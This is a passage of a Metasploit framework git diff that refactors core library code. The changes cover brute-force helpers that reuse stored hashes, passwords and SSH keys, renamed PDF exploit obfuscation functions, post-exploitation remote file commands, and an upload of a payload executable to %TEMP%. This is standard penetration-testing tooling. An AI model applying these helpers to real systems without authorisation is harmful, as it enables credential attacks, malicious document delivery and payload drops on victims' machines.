=~ /lib.msf.base.simple.exploit.rb/ - mod.print_error(" #{line}") + exploit.print_error(" #{line}") end elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) end diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index aee43edfe2..0ec74739b7 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -49,6 +49,47 @@ module Auxiliary::AuthBrute @@max_per_service = nil end + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ntlm_hash' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ntlm_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'password' + # + # @yieldparam [Metasploit::Credential::Core] + def each_password_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ssh_key' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ssh_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Checks whether we should be adding creds from the DB to a CredCollection + # + # @return [TrueClass] if any of the datastore options for db creds are selected and the db is active + # @return [FalseClass] if none of the datastore options are selected OR the db is not active + def prepend_db_creds? + (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active + end + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes # from the database. This allows the users to use the DB_ALL_CREDS option. # @@ -56,10 +97,9 @@ module Auxiliary::AuthBrute # the credential collection to add to # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection def prepend_db_hashes(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_ntlm_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection @@ -72,10 +112,9 @@ module Auxiliary::AuthBrute # the credential collection to add to # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection def prepend_db_keys(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_ssh_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection @@ -88,15 +127,27 @@ module Auxiliary::AuthBrute # the credential collection to add to # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection def prepend_db_passwords(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_password_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection end + # Takes a {Metasploit::Credential::Core} and converts it into a + # {Metasploit::Framework::Credential} and processes it into the + # {Metasploit::Framework::CredentialCollection} as dictated by the + # selected datastore options. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @param [Metasploit::Credential::Core] the Credential Core to process + def process_cred_for_collection(cred_collection, cred) + msf_cred = cred.to_credential + cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS'] + cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS'] + cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS'] + end # Checks all three files for usernames and passwords, and combines them into diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index b430f4b935..f1af818f8c 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]), OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index a7d10262a7..91d39ec23d 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -12,6 +12,38 @@ module Auxiliary::Report optionally_include_metasploit_credential_creation + def create_cracked_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def invalidate_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + # This method overrides the method from Metasploit::Credential to check for an active db def active_db? framework.db.active @@ -125,13 +157,102 @@ module Auxiliary::Report framework.db.report_note(opts) end + # This Legacy method is responsible for creating credentials from data supplied + # by a module. This method is deprecated and the new Metasploit::Credential methods + # should be used directly instead. + # + # @param :opts [Hash] the option hash + # @option opts [String] :host the address of the host (also takes a {Mdm::Host}) + # @option opts [Fixnum] :port the port of the connected service + # @option opts [Mdm::Service] :service an optional Service object to build the cred for + # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key") + # @option opts [String] :proto Which transport protocol the service uses + # @option opts [String] :sname The 'name' of the service + # @option opts [String] :user The username for the cred + # @option opts [String] :pass The private part of the credential (e.g. password) def report_auth_info(opts={}) + print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!" return if not db - opts = { - :workspace => myworkspace, - :task => mytask - }.merge(opts) - framework.db.report_auth_info(opts) + raise ArgumentError.new("Missing required option :host") if opts[:host].nil? + raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) + + if opts[:host].kind_of?(::Mdm::Host) + host = opts[:host].address + else + host = opts[:host] + end + + type = :password + case opts[:type] + when "password" + type = :password + when "hash" + type = :nonreplayable_hash + when "ssh_key" + type = :ssh_key + end + + case opts[:proto] + when "tcp" + proto = "tcp" + when "udp" + proto = "udp" + else + proto = "tcp" + end + + if opts[:service] && opts[:service].kind_of?(Mdm::Service) + port = opts[:service].port + proto = opts[:service].proto + service_name = opts[:service].name + host = opts[:service].host.address + else + port = opts.fetch(:port) + service_name = opts.fetch(:sname, nil) + end + + username = opts.fetch(:user, nil) + private = opts.fetch(:pass, nil) + + service_data = { + address: host, + port: port, + service_name: service_name, + protocol: proto, + workspace_id: myworkspace_id + } + + if self.type == "post" + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname + } + credential_data.merge!(service_data) + end + + unless private.nil? + credential_data[:private_type] = type + credential_data[:private_data] = private + end + + unless username.nil? + credential_data[:username] = username + end + + credential_core = create_credential(credential_data) + + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end def report_vuln(opts={}) diff --git a/lib/msf/core/db_manager/ip_address.rb b/lib/msf/core/db_manager/ip_address.rb index b69dd69bfe..dcff05b2e2 100644 --- a/lib/msf/core/db_manager/ip_address.rb +++ b/lib/msf/core/db_manager/ip_address.rb @@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress end def rfc3330_reserved(ip) - case ip.class.to_s - when "PacketFu::Octets" + case ip + when PacketFu::Octets ip_x = ip.to_x ip_i = ip.to_i - when "String" + when String if ipv46_validator(ip) ip_x = ip ip_i = Rex::Socket.addr_atoi(ip) else raise ArgumentError, "Invalid IP address: #{ip.inspect}" end - when "Fixnum" + when Fixnum if (0..2**32-1).include? ip ip_x = Rex::Socket.addr_itoa(ip) ip_i = ip @@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress end return ret end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 230c53cdbf..8d4739a453 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -224,12 +224,12 @@ module Exploit::CmdStager def guess_flavor # First try to guess a compatible flavor based on the module & target information. unless target_flavor.nil? - case target_flavor.class.to_s - when 'Array' + case target_flavor + when Array return target_flavor[0].to_sym - when 'String' + when String return target_flavor.to_sym - when 'Symbol' + when Symbol return target_flavor end end @@ -283,12 +283,12 @@ module Exploit::CmdStager # @return [Boolean] true if compatible, false otherwise. def compatible_flavor?(f) return true if target_flavor.nil? - case target_flavor.class.to_s - when 'String' + case target_flavor + when String return true if target_flavor == f.to_s - when 'Array' + when Array target_flavor.each { |tr| return true if tr.to_sym == f } - when 'Symbol' + when Symbol return true if target_flavor == f end false diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 491babc19a..b3eb246411 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -87,7 +87,7 @@ module Exploit::Java raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s end - if compile_options.class.to_s != "Array" && compile_options + if !compile_options.is_a?(Array) && compile_options raise RuntimeError, "Compiler options must be of type Array." end diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 48a2939b7b..0c50d54c49 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] if arch.nil? && module_info['Arch'] arch = module_info['Arch'] - arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 + arch = arch[0] if arch.is_a?(Array) and arch.length == 1 end if arch.nil? print_error('Can not determine the target architecture') diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index 1a1bcc8528..9b3b0b135f 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -30,7 +30,7 @@ module Exploit::PDF #Original Filters ## - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) return str if not datastore['PDF::Obfuscate'] result = "" whitespace = "" @@ -44,7 +44,7 @@ module Exploit::PDF ## #Filters from Origami parser ## - def RunLengthEncode(stream) + def run_length_encode(stream) eod = 128 result = "" i = 0 @@ -85,7 +85,7 @@ module Exploit::PDF result << eod.chr end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -93,7 +93,7 @@ module Exploit::PDF result end - def ASCII85Encode(stream) + def ascii85_encode(stream) eod = "~>" i = 0 code = "" @@ -130,7 +130,7 @@ module Exploit::PDF end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def nobfu(str) return str if not datastore['PDF::Obfuscate'] result = "" @@ -149,13 +149,13 @@ module Exploit::PDF ## def header(version = '1.5') hdr = "%PDF-#{version}" << eol - hdr << "%" << RandomNonASCIIString(4) << eol + hdr << "%" << random_non_ascii_string(4) << eol hdr end def add_object(num, data) @xref[num] = @pdf.length - @pdf << ioDef(num) + @pdf << io_def(num) @pdf << data @pdf << endobj end @@ -186,7 +186,7 @@ module Exploit::PDF end def trailer(root_obj) - ret = "trailer" << nObfu("<>" << eol + ret = "trailer" << nobfu("<>" << eol ret end @@ -209,18 +209,18 @@ module Exploit::PDF "endobj" << eol end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end ## #Controller funtion, should be entrypoint for pdf exploits ## - def CreatePDF(js) + def create_pdf(js) strFilter = "" arrResults = [] numIterations = 0 @@ -233,10 +233,10 @@ module Exploit::PDF end for i in (0..numIterations-1) if i == 0 - arrResults = SelectEncoder(js,arrEncodings[i],strFilter) + arrResults = select_encoder(js,arrEncodings[i],strFilter) next end - arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) + arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1]) end case datastore['PDF::Method'] when 'PAGE' @@ -251,19 +251,19 @@ module Exploit::PDF ## #Select an encoder and build a filter specification ## - def SelectEncoder(js,strEncode,strFilter) + def select_encoder(js,strEncode,strFilter) case strEncode when 'ASCII85' - js = ASCII85Encode(js) + js = ascii85_encode(js) strFilter = "/ASCII85Decode"<>") - add_object(2, nObfu("<>")) - add_object(3, nObfu("<>")) - add_object(4, nObfu("<>>>>>")) + add_object(1, nobfu("<>") + add_object(2, nobfu("<>")) + add_object(3, nobfu("<>")) + add_object(4, nobfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol @@ -301,10 +301,10 @@ module Exploit::PDF @pdf << header - add_object(1, nObfu("<>") - add_object(2, nObfu("<>")) - add_object(3, nObfu("<>")) - add_object(4, nObfu("<>>>>>")) + add_object(1, nobfu("<>") + add_object(2, nobfu("<>")) + add_object(3, nobfu("<>")) + add_object(4, nobfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol @@ -324,11 +324,11 @@ module Exploit::PDF @pdf << header - add_object(1, nObfu("<>") - add_object(2, nObfu("<>")) - add_object(3, nObfu("<>")) - add_object(4, nObfu("<>")) - add_object(5, nObfu("<>>>>>")) + add_object(1, nobfu("<>") + add_object(2, nobfu("<>")) + add_object(3, nobfu("<>")) + add_object(4, nobfu("<>")) + add_object(5, nobfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index b440e12a91..52d100a141 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver [ OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]), OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]), + OptString.new('DATE', [false, 'Override the DATE: field with this value', '']), OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]), OptString.new('MAILTO', [ true, 'The TO address of the email' ]), OptString.new('SUBJECT', [ true, 'Subject line of the email' ]), @@ -140,6 +141,19 @@ module Exploit::Remote::SMTPDeliver raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock) raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock) + # If the user supplied a Date field, use that, else use the current + # DateTime in the proper RFC2822 format. + if datastore['DATE'].present? + raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) + else + raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) + end + + # If the user supplied a Subject field, use that + if datastore['SUBJECT'].present? + raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) + end + resp = raw_send_recv("DATA\r\n", nsock) # Avoid sending tons of data and killing the connection if the server diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index b9ab02d6b7..f8c9055f30 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC rpcobj.pport = arr[5] end - def sunrpc_call(proc, buf, timeout = timeout) + def sunrpc_call(proc, buf, timeout = timeout()) ret = rpcobj.call(proc, buf, timeout) raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index c530093990..081d8cd1bb 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -3,20 +3,26 @@ module Msf::Post::File # - # Change directory in the remote session to +path+ + # Change directory in the remote session to +path+, which may be relative or + # absolute. # + # @return [void] def cd(path) + e_path = expand_path(path) rescue path if session.type == "meterpreter" - e_path = session.fs.file.expand_path(path) rescue path session.fs.dir.chdir(e_path) else - session.shell_command_token("cd '#{path}'") + session.shell_command_token("cd \"#{e_path}\"") end end # # Returns the current working directory in the remote session # + # @note This may be inaccurate on shell sessions running on Windows before + # XP/2k3 + # + # @return [String] def pwd if session.type == "meterpreter" return session.fs.dir.getwd @@ -51,6 +57,7 @@ module Msf::Post::File # # See if +path+ exists on the remote system and is a directory # + # @param path [String] Remote filename to check def directory?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -60,7 +67,7 @@ module Msf::Post::File if session.platform =~ /win/ f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else - f = session.shell_command_token("test -d '#{path}' && echo true") + f = session.shell_command_token("test -d \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -72,6 +79,7 @@ module Msf::Post::File # # Expand any environment variables to return the full path specified by +path+. # + # @return [String] def expand_path(path) if session.type == "meterpreter" return session.fs.file.expand_path(path) @@ -83,6 +91,7 @@ module Msf::Post::File # # See if +path+ exists on the remote system and is a regular file # + # @param path [String] Remote filename to check def file?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -95,7 +104,7 @@ module Msf::Post::File f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") end else - f = session.shell_command_token("test -f '#{path}' && echo true") + f = session.shell_command_token("test -f \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -109,15 +118,16 @@ module Msf::Post::File # # Check for existence of +path+ on the remote file system # + # @param path [String] Remote filename to check def exist?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil return !!(stat) else if session.platform =~ /win/ - f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else - f = session.shell_command_token("test -e '#{path}' && echo true") + f = cmd_exec("test -e \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -126,31 +136,19 @@ module Msf::Post::File end end - # - # Remove a remote file - # - def file_rm(file) - if session.type == "meterpreter" - session.fs.file.rm(file) - else - if session.platform =~ /win/ - session.shell_command_token("del \"#{file}\"") - else - session.shell_command_token("rm -f '#{file}'") - end - end - end - # # Writes a given string to a given local file # - def file_local_write(file2wrt, data2wrt) - if not ::File.exists?(file2wrt) - ::FileUtils.touch(file2wrt) + # @param local_file_name [String] + # @param data [String] + # @return [void] + def file_local_write(local_file_name, data) + unless ::File.exists?(local_file_name) + ::FileUtils.touch(local_file_name) end - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| + output = ::File.open(local_file_name, "a") + data.each_line do |d| output.puts(d) end output.close @@ -159,22 +157,27 @@ module Msf::Post::File # # Returns a MD5 checksum of a given local file # - def file_local_digestmd5(file2md5) - if not ::File.exists?(file2md5) - raise "File #{file2md5} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestmd5(local_file_name) + if ::File.exists?(local_file_name) require 'digest/md5' chksum = nil - chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read}) + chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a MD5 checksum of a given remote file # - def file_remote_digestmd5(file2md5) - data = read_file(file2md5) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestmd5(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::MD5.hexdigest(data) @@ -185,22 +188,27 @@ module Msf::Post::File # # Returns a SHA1 checksum of a given local file # - def file_local_digestsha1(file2sha1) - if not ::File.exists?(file2sha1) - raise "File #{file2sha1} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha1(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha1' chksum = nil - chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read}) + chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA1 checksum of a given remote file # - def file_remote_digestsha1(file2sha1) - data = read_file(file2sha1) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha1(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA1.hexdigest(data) @@ -211,22 +219,27 @@ module Msf::Post::File # # Returns a SHA256 checksum of a given local file # - def file_local_digestsha2(file2sha2) - if not ::File.exists?(file2sha2) - raise "File #{file2sha2} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha2(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha2' chksum = nil - chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read}) + chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA2 checksum of a given remote file # - def file_remote_digestsha2(file2sha2) - data = read_file(file2sha2) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha2(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA256.hexdigest(data) @@ -238,6 +251,8 @@ module Msf::Post::File # Platform-agnostic file read. Returns contents of remote file +file_name+ # as a String. # + # @param file_name [String] Remote file name to read + # @return [String] Contents of the file def read_file(file_name) data = nil if session.type == "meterpreter" @@ -246,19 +261,20 @@ module Msf::Post::File if session.platform =~ /win/ data = session.shell_command_token("type \"#{file_name}\"") else - data = session.shell_command_token("cat \'#{file_name}\'") + data = session.shell_command_token("cat \"#{file_name}\"") end end data end - # # Platform-agnostic file write. Writes given object content to a remote file. - # Returns Boolean true if successful # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def write_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "wb") @@ -281,6 +297,9 @@ module Msf::Post::File # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def append_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "ab") @@ -300,6 +319,9 @@ module Msf::Post::File # Read a local file +local+ and write it as +remote+ on the remote file # system # + # @param remote [String] Destination file name on the remote filesystem + # @param local [String] Local file whose contents will be uploaded + # @return (see #write_file) def upload_file(remote, local) write_file(remote, ::File.read(local)) end @@ -307,38 +329,54 @@ module Msf::Post::File # # Delete remote files # + # @param remote_files [Array] List of remote filenames to + # delete + # @return [void] def rm_f(*remote_files) remote_files.each do |remote| if session.type == "meterpreter" session.fs.file.delete(remote) if exist?(remote) else if session.platform =~ /win/ - cmd_exec("del /q /f #{remote}") + cmd_exec("del /q /f \"#{remote}\"") else - cmd_exec("rm -f #{remote}") + cmd_exec("rm -f \"#{remote}\"") end end end end + alias :file_rm :rm_f + # # Rename a remote file. # + # @param old_file [String] Remote file name to move + # @param new_file [String] The new name for the remote file def rename_file(old_file, new_file) - if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move") - session.fs.file.mv(old_file, new_file) + if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move") + return (session.fs.file.mv(old_file, new_file).result == 0) else - if session.platform =~ /win/ - cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) + if session.platform =~ /win/ + if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/ + return true else - cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|) + return false end + else + if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty? + return true + else + return false + end + end end end alias :move_file :rename_file alias :mv_file :rename_file protected + # # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error @@ -346,11 +384,12 @@ protected # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # + # @return [String] def _read_file_meterpreter(file_name) begin fd = session.fs.file.new(file_name, "rb") rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Failed to open file: #{file_name}") + print_error("Failed to open file: #{file_name}: #{e}") return nil end @@ -370,10 +409,11 @@ protected # # Truncates if +append+ is false, appends otherwise. # - # You should never call this method directly. Instead, call #write_file or - # #append_file which will call this if it is appropriate for the given + # You should never call this method directly. Instead, call {#write_file} + # or {#append_file} which will call this if it is appropriate for the given # session. # + # @return [void] def _write_file_unix_shell(file_name, data, append=false) redirect = (append ? ">>" : ">") @@ -482,7 +522,7 @@ protected # The first command needs to use the provided redirection for either # appending or truncating. cmd = command.sub("CONTENTS") { chunks.shift } - session.shell_command_token("#{cmd} #{redirect} '#{file_name}'") + session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"") # After creating/truncating or appending with the first command, we # need to append from here on out. @@ -499,6 +539,7 @@ protected # # Calculate the maximum line length for a unix shell. # + # @return [Fixnum] def _unix_max_line_length # Based on autoconf's arg_max calculator, see # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 5590fce301..1c04b85c8a 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -283,7 +283,7 @@ module Accounts vprint_error("The system cannot find the file specified: #{dir}") return nil else - vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + vprint_error("#{f['ErrorMessage']}: #{dir}") return nil end @@ -298,6 +298,8 @@ module Accounts w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) if !w["return"] then return nil end if w["GrantedAccess"] > 0 then result << "W" end + + result end end # Accounts diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 5019fdf655..aca85738b4 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ + if winversion =~ /Windows (Vista|7|8|2008|2012)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index dc4933ffd1..f40c9ba6f1 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' - payload_path = path || expand_path('%TEMP%') + payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\\#{payload_filename}" print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") write_file(cmd_location, exe_payload) diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb index a3d0d20b5a..581428d42f 100644 --- a/lib/msf/core/post/windows/services.rb +++ b/lib/msf/core/post/windows/services.rb @@ -23,8 +23,29 @@ end # module Services + START_TYPE = ["Boot","System","Auto","Manual","Disabled"] + START_TYPE_BOOT = 0 + START_TYPE_SYSTEM = 1 + START_TYPE_AUTO = 2 + START_TYPE_MANUAL = 3 + START_TYPE_DISABLED = 4 + + SERVICE_STOPPED = 1 + SERVICE_START_PENDING = 2 + SERVICE_STOP_PENDING = 3 + SERVICE_RUNNING = 4 + SERVICE_CONTINUE_PENDING = 5 + SERVICE_PAUSE_PENDING = 6 + SERVICE_PAUSED = 7 + + include ::Msf::Post::Windows::Error + include ::Msf::Post::Windows::ExtAPI include ::Msf::Post::Windows::Registry + def advapi32 + session.railgun.advapi32 + end + # # Open the service manager with advapi32.dll!OpenSCManagerA on the # given host or the local machine if :host option is nil. If called @@ -42,12 +63,12 @@ module Services # OpenSCManagerA() # @yield [manager] Gives the block a manager handle as returned by # advapi32.dll!OpenSCManagerA. When the block returns, the handle - # will be closed with {#close_sc_manager}. + # will be closed with {#close_service_handle}. # @raise [RuntimeError] if OpenSCManagerA returns a NULL handle # def open_sc_manager(opts={}) host = opts[:host] || nil - access = opts[:access] || 0xF003F + access = opts[:access] || "SC_MANAGER_ALL_ACCESS" machine_str = host ? "\\\\#{host}" : nil # SC_HANDLE WINAPI OpenSCManager( @@ -55,16 +76,16 @@ module Services # _In_opt_ LPCTSTR lpDatabaseName, # _In_ DWORD dwDesiredAccess # ); - manag = 